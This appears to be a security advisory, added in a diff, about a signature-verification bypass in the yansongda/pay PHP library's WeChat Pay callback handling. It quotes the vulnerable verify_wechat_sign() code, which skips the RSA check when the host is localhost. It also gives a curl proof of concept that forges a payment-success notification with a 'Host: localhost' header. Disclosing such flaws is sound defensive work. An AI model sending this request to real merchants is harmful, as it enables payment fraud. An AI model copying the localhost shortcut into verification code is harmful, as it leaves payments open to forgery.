+ "details": "## Summary\n\nThe `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely.\n\nThis allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.\n\n## Vulnerable Code\n\n**`src/Functions.php` lines 243-246:**\n```php\nfunction verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void\n{\n // BYPASS: Returns without any signature check if Host header is localhost\n if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {\n return; // No signature verified!\n }\n\n // ... openssl_verify() only reached when Host != localhost\n $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');\n $sign = $message->getHeaderLine('Wechatpay-Signature');\n $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');\n}\n```\n\nIn PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request->getUri()->getHost()` reads the `Host` HTTP header, which is fully attacker-controlled.\n\n## Proof of Concept\n\n```bash\ncurl -X POST https://merchant.example.com/payment/wechat/callback \\\n -H \"Host: localhost\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Wechatpay-Serial: any\" \\\n -H \"Wechatpay-Timestamp: 1234567890\" \\\n -H \"Wechatpay-Nonce: abc\" \\\n -H \"Wechatpay-Signature: AAAA\" \\\n -d '{\"id\":\"fake-order\",\"event_type\":\"TRANSACTION.SUCCESS\"}'\n```\n\n`verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid.\n\n## Impact\n\n- **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks\n- **No authentication required**: Pure network attack, zero privileges needed\n- **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.",
0 commit comments